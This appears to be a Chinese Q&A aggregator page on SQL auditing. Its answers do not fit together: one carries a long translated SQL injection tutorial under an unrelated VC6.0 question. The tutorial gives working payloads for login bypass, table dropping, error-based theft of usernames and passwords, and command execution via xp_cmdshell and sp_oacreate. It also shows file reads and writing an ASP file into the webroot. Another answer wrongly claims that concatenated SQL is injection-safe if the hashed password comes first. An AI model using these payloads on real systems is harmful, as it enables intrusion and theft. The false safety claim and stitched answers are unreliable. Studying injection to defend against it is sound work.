當前位置:首頁 » 編程語言 » sql語句審核檢查平台
擴展閱讀
檢測硬碟物理壞道 2022-06-27 20:35:29
曙光英雄的緩存 2022-06-27 20:33:50
火影和吃雞哪個更看配置 2022-06-27 20:32:49

sql語句審核檢查平台

發布時間: 2022-06-23 17:10:08

『壹』 sql語句,平台Sql server2008R2

樓上的可以,也可以用這個方法:
select * from tablename where 廠家='伊利'
union all
select * from tablename where 廠家!='伊利'

『貳』 SQL語句可以在什麼界面或平台上編寫

sql可以在任何地方編寫,但是只能在連接上資料庫的工具或者第三方開發工具裡面才能自動檢查語法錯誤

『叄』 如何通過SQL語句設置資料庫登錄審核的狀態

剛好上次講三層架構.有現成的例子

以一個驗證登陸為例子
這里是界面層一般叫UIL
protected void Button1_Click(object sender, EventArgs e)
{
List<User> Users = BAL.GetUserInfo(txtUserName.Text,txtPassword.Text);

if(Users.Length > 0)
{
Response.Write("登陸成功");
}
else
{
Response.Write("登陸失敗");
}
}

以下是邏輯層代碼,業務邏輯層一般叫BLL
public static List<User> GetUserInfo(string user,string password)
{
string newPassword = GetMD5Hash(password); //這里對密碼進行加密處理,資料庫中存放的是經過MD5加密後的密,業務邏輯層一般都是處理復雜的邏輯.例如加密邏輯
List<User> Users = DAL.GetUserInfo(user,newPassword);

return Users;
}

以下是數據訪問層代碼,數據訪問層一般叫DAL
public static List<User> GetUserInfo(string user,string password)
{
List<User> Users = new List<User>();
string sql = "select * from User where Password = '"+password+"' and User = '"+user+"'"; //寫where子句的時候把Password放前面.因為Password經過加密,所以可以防止SQL注入攻擊
SqlDataAdapter da = new SqlDataAdapter(sql,"這里是資料庫連接字元串");
DataSet ds = new DataSet();
da.Fill(ds);

for(int i=0;i<ds.Tables[0].Rows.Count;i++)
{
User user = new User(ds.Tables[0].Rows[i]["ID"].ToString(),ds.Tables[0].Rows[i]["User"].ToString(),ds.Tables[0].Rows[i]["Password"].ToString());
Users.Add(user);
}

return Users;
}

還會有一個Model層.叫做模板層.是數據表結構的印射.Model層是共用層,其他三層都要用到.
比如資料庫中有張表User,裡面有3個欄位ID,User,Password
那麼在模板層中應該有一個類,資料庫中User表的一行對應一個User對象,一張表對應User對象的集合.
public class User
{
string ID;
string User;
string Password;

//重載構造函數
User(string id,string user,string password)
{
this.ID=id;
this.User=user;
this.Password=password;
}
}

『肆』 有沒有在線SQL語句查詢練習的平台

在線的我倒不知道,不過我知道用新浪sae隨便創建個應用(php的,免費),然後你就可以免費用裡面的雲資料庫了,當然也可以在線練習sql語句了。順便說一句,選應用倉庫千萬不要選git,新浪的git倉庫是巨坑啊!!當初我不小心選了git倉庫,現在吐血中。。

『伍』 用SQL 語句,或者什麼方式 能查到之前的歷史操作記錄,查某個單據是如何生成的(何時保存、何時審核的)

需要設計一個歷史操作記錄表History 用於記錄對單據的所有操作,包括:保存,審核等操作
如果你沒有這么一個表,你是無法查詢到的。

『陸』 如何用sql語句查詢單據是否審核

IFEXISTS(SELECTTOP11FROM表名WHERE審核欄位='審核'AND單號='單號001')
SELECT'已審核'
ELSE
SELECT'未審核'

『柒』 sql語句語法檢查

只要表名ec_member和欄位名username,password沒有錯誤,
該語句就沒有問題。
================
如果連接問題請檢查:
1. 和你自己電腦上連接的數據用戶名和密碼是否一樣的。你電腦上的數據是否為混合登陸模式。

2.重新在配置一下直鏈包。如果是橋聯檢查數據源。

3.驅動的串中連接的數據名和數據地址是否正確。

『捌』 如何使用vc6.0和sql2000進行連接和資料庫操作(查詢插入更新刪除),最好舉例

這份文檔是詳細討論SQL注入技術,它適應於比較流行的IIS+ASP+SQLSERVER平台。它討論了哪些SQL語句能通過各種各樣的方法注入到應用程序中,並且記錄與攻擊相關的數據確認和資料庫鎖定。

這份文檔的預期讀者為與資料庫通信的WEB程序的開發者和那些扮演審核WEB應用程序的安全專家。

介紹:

SQL是一種用於關系資料庫的結構化查詢語言。它分為許多種,但大多數都鬆散地基於美國國家標准化組織最新的標准SQL-92。典型的執行語句是query,它能夠收集比較有達標性的記錄並返回一個單一的結果集。SQL語言可以修改資料庫結構(數據定義語言)和操作資料庫內容(數據操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。

當一個攻擊者能夠通過往query中插入一系列的sql語句來操作數據寫入到應用程序中去,我們管這種方法定義成SQL注入。

一個典型的SQL語句如下:

Select id,forename,surname from authors

這條語句將返回authors表中所有行的id,forename和surname列。這個結果可以被限制,例如:

Select id,forename,surname from authors where forename'john' and surname='smith'

需要著重指明的是字元串'john'和'smith'被單引號限制。明確的說,forename和surname欄位是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句,

如下:

Forename:jo'hn

Surname:smith

查詢語句變為:

Select id,forename,surname from authors where forename='jo'hn' and surname='smith'

當資料庫試圖去執行這個查詢時,它將返回如下錯誤:

Server:Msg 170, Level 15, State 1, Line 1

Line 1:Incorrect syntax near 'hn'

造成這種結果的原因是插入了.作為定界符的單引號。資料庫嘗試去執行'hn',但是失敗。如果攻擊者提供特別的輸入如:

Forename:jo';drop table authors—

Surname:

結果是authors表被刪除,造成這種結果的原因我們稍後再講。

看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方法會存在幾個困難。第一,並不是所有用戶提供的數據都是字元串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應該像這樣:

Select id,forename,surname from authors where id=1234

在這種情況下,一個攻擊者可以非常簡單地在數字的結尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在資料庫管理系統JET引擎中,數據可以被使用'#'限定。第二,避免單引號盡管看上去可以,但是是沒必要的,原因我們稍後再講。

我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER資料庫並且嘗試鑒別進入一些虛構的應用程序的許可權。

這是一個提交表單頁的代碼,讓用戶輸入用戶名和密碼:

<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代碼,它是用來控制登陸的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>

出現問題的地方是process_lgin.asp中產生查詢語句的部分:

Var sql="select * from users where username='"+username+"' and password='"+password+"'";

如果用戶輸入的信息如下:

Username:';drop table users—

Password:

資料庫中表users將被刪除,拒絕任何用戶進入應用程序。'—'符號在Transact-SQL中表示忽略'—'以後的語句,';'符號表示一個查詢的結束和另一個查詢的開始。'—'位於username欄位中是必須的,它為了使這個特殊的查詢終止,並且不返回錯誤。

攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:

Username:admin'—

攻擊者可以使用users表中第一個用戶,輸入如下:

Username:' or 1=1—

更特別地,攻擊者可以使用完全虛構的用戶登陸,輸入如下:

Username:' union select 1,'fictional_user','some_password',1—

這種結果的原因是應用程序相信攻擊者指定的是從資料庫中返回結果的一部分。

通過錯誤消息獲得信息

這個幾乎是David Litchfield首先發現的,並且通過作者滲透測試的;後來David寫了一份文檔,後來作者參考了這份文檔。這些解釋討論了『錯誤消息『潛在的機制,使讀者能夠完全地了解它,潛在地引發他們的能力。

為了操作資料庫中的數據,攻擊者必須確定某些資料庫和某些表的結構。例如我們可以使用如下語句創建user表:

Create talbe users(

Id int,

Username varchar(255),

Password varchar(255),

Privs int

)

然後將下面的用戶插入到users表中:

Insert into users values(0,'admin','r00tr0x!',0xffff)

Insert into users values(0,'guest','guest',0x0000)

Insert into users values(0,'chris','password',0x00ff)

Insert into users values(0,'fred','sesame',0x00ff)

如果我們的攻擊者想插入一個自己的用戶。在不知道users表結構的情況下,他不可能成功。即使他比較幸運,至於privs欄位不清楚。攻擊者可能插入一個'1',這樣只給他自己一個低許可權的用戶。

幸運地,如果從應用程序(默認為ASP行為)返回錯誤消息,那麼攻擊者可以確定整個資料庫的結構,並且可以以程序中連接SQLSERVER的許可權度曲任何值。

(下面以一個簡單的資料庫和asp腳本來舉例說明他們是怎麼工作的)

首先,攻擊者想獲得建立用戶的表的名字和欄位的名字,要做這些,攻擊者需要使用select語法的having子句:

Username:' having 1=1—

這樣將會出現如下錯誤:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

因此現在攻擊者知道了表的名字和第一個地段的名字。他們仍然可以通過把欄位放到group by子句只能感去找到一個一個欄位名,如下:

Username:' group by users.id having 1=1—

出現的錯誤如下:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 35

最終攻擊者得到了username欄位後:

『 group by users.id,users.username,users.password,users.privs having 1=1—

這句話並不產生錯誤,相當於:

select * from users where username=''

因此攻擊者現在知道查詢涉及users表,按順序使用列'id,username,password,privs'。

能夠確定每個列的類型是非常有用的。這可以通過使用類型轉化來實現,例如:

Username:' union select sum(username) from users—

這利用了SQLSERVER在確定兩個結果集的欄位是否相等前應用sum子句。嘗試去計算sum會得到以下消息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

這告訴了我們'username'欄位的類型是varchar。如果是另一種情況,我們嘗試去計算sum()的是數字類型,我們得到的錯誤消息告訴我們兩個集合的欄位數量不相等。

Username:' union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

/process_login.asp, line 35

我們可以用這種技術近似地確定資料庫中任何錶中的任何欄位的類型。

這樣攻擊者就可以寫一個好的insert查詢,例如:

Username:';insert into users values(666,'attacker','foobar','0xffff)—

這種技術的潛在影響不僅僅是這些。攻擊者可以利用這些錯誤消息顯示環境信息或資料庫。通過運行一列一定格式的字元串可以獲得標準的錯誤消息:

select * from master ..sysmessages

解釋這些將實現有趣的消息。

一個特別有用的消息關繫到類型轉化。如果你嘗試將一個字元串轉化成一個整型數字,那麼字元串的所有內容會返回到錯誤消息中。例如在我們簡單的登陸頁面中,在username後面會顯示出SQLSERVER的版本和所運行的操作系統信息:

Username:' union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

/process_login.asp, line 35

這句嘗試去將內置的'@@version'常量轉化成一個整型數字,因為users表中的第一列是整型數字。

這種技術可以用來讀取資料庫中任何錶的任何值。自從攻擊者對用戶名和用戶密碼比較感興趣後,他們比較喜歡去從users表中讀取用戶名,例如:

Username:' union select min(username),1,1,1 from users where username>'a'—

這句選擇users表中username大於'a'中的最小值,並試圖把它轉化成一個整型數字:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

因此攻擊者已經知道用戶admin是存在的。這樣他就可以重復通過使用where子句和查詢到的用戶名去尋找下一個用戶。

Username:' union select min(username),1,1,1 from users where username>'admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

一旦攻擊者確定了用戶名,他就可以開始收集密碼:

Username:' union select password,1,1,1 from users where username='admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

一個更高級的技術是將所有用戶名和密碼連接長一個單獨的字元串,然後嘗試把它轉化成整型數字。這個例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:

begin declare @ret varchar(8000)

set @ret=':'

select @[email protected]+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

end

攻擊者使用這個當作用戶名登陸(都在一行)

Username: '; begin declare @ret varchar(8000) set @ret=':' select @[email protected]+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—

這就創建了一個foo表,裡面只有一個單獨的列'ret',裡面存放著我們得到的用戶名和密碼的字元串。正常情況下,一個低許可權的用戶能夠在同一個資料庫中創建表,或者創建臨時資料庫。

然後攻擊者就可以取得我們要得到的字元串:

Username:' union select ret,1,1,1 from foo—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

/process_login.asp, line 35

然後丟棄(刪除)表來清楚腳印:

Username:'; drop table foo—

這個例子僅僅是這種技術的一個表面的作用。沒必要說,如果攻擊者能夠從資料庫中獲得足夠的錯誤西,他們的工作就變的無限簡單。

獲得更高的許可權

一旦攻擊者控制了資料庫,他們就想利用那個許可權去獲得網路上更高的控制權。這可以通過許多途徑來達到:

1. 在資料庫伺服器上,以SQLSERVER許可權利用xp_cmdshell擴展存儲過程執行命令。

2. 利用xp_regread擴展存儲過程去讀注冊表的鍵值,當然包括SAM鍵(前提是SQLSERVER是以系統許可權運行的)

3. 利用其他存儲過程去改變伺服器

4. 在連接的伺服器上執行查詢

5. 創建客戶擴展存儲過程去在SQLSERVER進程中執行溢出代碼

6. 使用'bulk insert'語法去讀伺服器上的任意文件

7. 使用bcp在伺服器上建立任意的文本格式的文件

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統存儲過程去創建ActiveX應用程序,使它能做任何ASP腳本可以做的事情

這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關於SQL伺服器的明顯攻擊方法,為了說明哪方面可能並被授予許可權去注入SQL.。我們將依次處理以上提到的各種方法:

[xp_cmdshell]

許多存儲過程被創建在SQLSERVER中,執行各種各樣的功能,例如發送電子郵件和與注冊表交互。

Xp_cmdshell是一個允許執行任意的命令行命令的內置的存儲過程。例如:

Exec master..xp_cmdshell 'dir'

將獲得SQLSERVER進程的當前工作目錄中的目錄列表。

Exec master..xp_cmdshell 'net user'

將提供伺服器上所有用戶的列表。當SQLSERVER正常以系統帳戶或域帳戶運行時,攻擊者可以做出更嚴重的危害。

[xp_regread]

另一個有用的內置存儲過程是xp_regXXXX類的函數集合。

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumkeys

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

這些函數的使用方法舉例如下:

exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

這將確定什麼樣的會話連接在伺服器上是可以使用的

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

這將顯示伺服器上所有SNMP團體配置。在SNMP團體很少被更改和在許多主機間共享的情況下,有了這些信息,攻擊者或許會重新配置同一網路中的網路設備。

這很容易想像到一個攻擊者可以利用這些函數讀取SAM,修改系統服務的配置,使它下次機器重啟時啟動,或在下次任何用戶登陸時執行一條任意的命令。

[其他存儲過程]

xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續服務:

exec master..xp_servicecontrol 'start','schele'

exec master..xp_servicecontrol 'start','server'

下表中列出了少量的其他有用的存儲過程:

Xp_availablemedia 顯示機器上有用的驅動器

Xp_dirtree 允許獲得一個目錄樹

Xp_enumdsn 列舉伺服器上的ODBC數據源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允許用戶在伺服器上創建一個壓縮文件

Xp_ntsec_enumdomains 列舉伺服器可以進入的域

Xp_terminate_process 提供進程的進程ID,終止此進程

[Linked Servers]

SQL SERVER提供了一種允許伺服器連接的機制,也就是說允許一台資料庫伺服器上的查詢能夠操作另一台伺服器上的數據。這個鏈接存放在master.sysservers表中。如果一個連接的伺服器已經被設置成使用'sp_addlinkedsrvlogin'過程,當前可信的連接不用登陸就可以訪問到伺服器。'openquery'函數允許查詢脫離伺服器也可以執行。

[Custom extended stored proceres]

擴展存儲過程應用程序介面是相當簡單的,創建一個攜帶惡意代碼的擴展存儲過程動態連接庫是一個相當簡單的任務。使用命令行有幾個方法可以上傳動態連接庫到SQL伺服器上,還有其它包括了多種自動通訊的通訊機制,比如HTTP下載和FTP腳本。

一旦動態連接庫文件在機器上運行即SQL伺服器能夠被訪問——這不需要它自己是SQL伺服器——攻擊者就能夠使用下面的命令添加擴展存儲過程(這種情況下,我們的惡意存儲過程就是一個能輸出伺服器的系統文件的小的木馬):

Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'

在正常的方式下,這個擴展存儲過程可以被運行:

exec xp_webserver

一旦這個程序被運行,可以使用下面的方法將它除去:

xp_dropextendedproc 'xp_webserver'

[將文本文件導入表]

使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。簡單地創建這個表:

create table foo( line varchar(8000) )

然後執行bulk insert操作把文件中的數據插入到表中,如:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

可以使用上述的錯誤消息技術,或者使用'union'選擇,使文本文件中的數據與應用程序正常返回的數據結合,將數據取回。這個用來獲取存放在資料庫伺服器上的腳本源代碼或者ASP腳本代碼是非常有用的。

[使用bcp建立文本文件]

使用'bulk insert'的相對技術可以很容易建立任意的文本文件。不幸的是這需要命令行工具。'bcp',即'bulk program'

既然 bcp可以從SQL服務進程外訪問資料庫,它需要登陸。這代表獲得許可權不是很困難,既然攻擊者能建立,或者利用整體安全機制(如果伺服器配置成可以使用它)。

命令行格式如下:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar

'S'參數為執行查詢的伺服器,'U'參數為用戶名,'P'參數為密碼,這里為'foobar'

[ActiveX automation scripts in SQL SERVER]

SQL SERVER中提供了幾個內置的允許創建ActiveX自動執行腳本的存儲過程。這些腳本和運行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創建自動執行對象並和它們交互。一個自動執行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個例子:

(1)這個例子使用'wscript.shell'對象建立了一個記事本的實例:

wscript.shell example

declare @o int

exec sp_oacreate 'wscript.shell',@o out

exec sp_oamethod @o,'run',NULL,'notepad.exe'

我們可以通過指定在用戶名後面來執行它:

Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—

(2)這個例子使用'scripting.filesystemobject'對象讀一個已知的文本文件:

--scripting.filesystemobject example – read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret=sp_oamethod @f,'readline',@line out

while(@ret=0)

begin

print @line

exec @ret=sp_oamethod @f,'readline',@line out

end

(3)這個例子創建了一個能執行通過提交到的任何命令:

-- scripting.filesystemobject example – create a 'run this'.asp file

declare @o int,@f int,@t int,@ret int

exec sp_oacreate 'scripting.filesystemobject',@o out

exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1

exec @ret=sp_oamethod @f,'writeline',NULL,''

需要指出的是如果運行的環境是WIN NT4+IIS4平台上,那麼通過這個程序運行的命令是以系統許可權運行的。在IIS5中,它以一個比較低的許可權IWAM_XXXaccount運行。

(4)這些例子闡述了這個技術的適用性;它可以使用'speech.voicetext'對象引起SQL SERVER發聲:

declare @o int,@ret int

exec sp_oacreate 'speech.voicetext',@o out

exec sp_oamethod @o,'register',NULL,'foo','bar'

exec sp_oasetproperty @o,'speed',150

exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528

waitfor delay '00:00:05'

我們可以在我們假定的例子中,通過指定在用戶名後面來執行它(注意這個例子不僅僅是注入一個腳本,同時以admin許可權登陸到應用程序):

Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

[存儲過程]

傳說如果一個ASP應用程序在資料庫中使用了存儲過程,那麼SQL注入是不可能的。這句話只對了一半,這要看ASP腳本中調用這個存儲過程的方式。

本質上,如果一個有參數的查詢被執行 ,並且用戶提供的參數通過安全檢查才放入到查詢中,那麼SQL注入明顯是不可能發生的。但是如果攻擊者努力影響所執行查詢語句的非數據部分,這樣他們就可能能夠控制資料庫。

比較好的常規的標準是:

· 如果一個ASP腳本能夠產生一個被提交的SQL查詢字元串,即使它使用了存儲過程也是能夠引起SQL注入的弱點。

· 如果一個ASP腳本使用一個過程對象限制參數的往存儲過程中分配(例如ADO的

『玖』 有沒有簡易檢測sql語句正確的工具

有啊,sql伺服器端(企業版有、開發版和工作組版不一定有)有個名叫SQL Server Profiler的工具,可以用來追蹤SQL語句。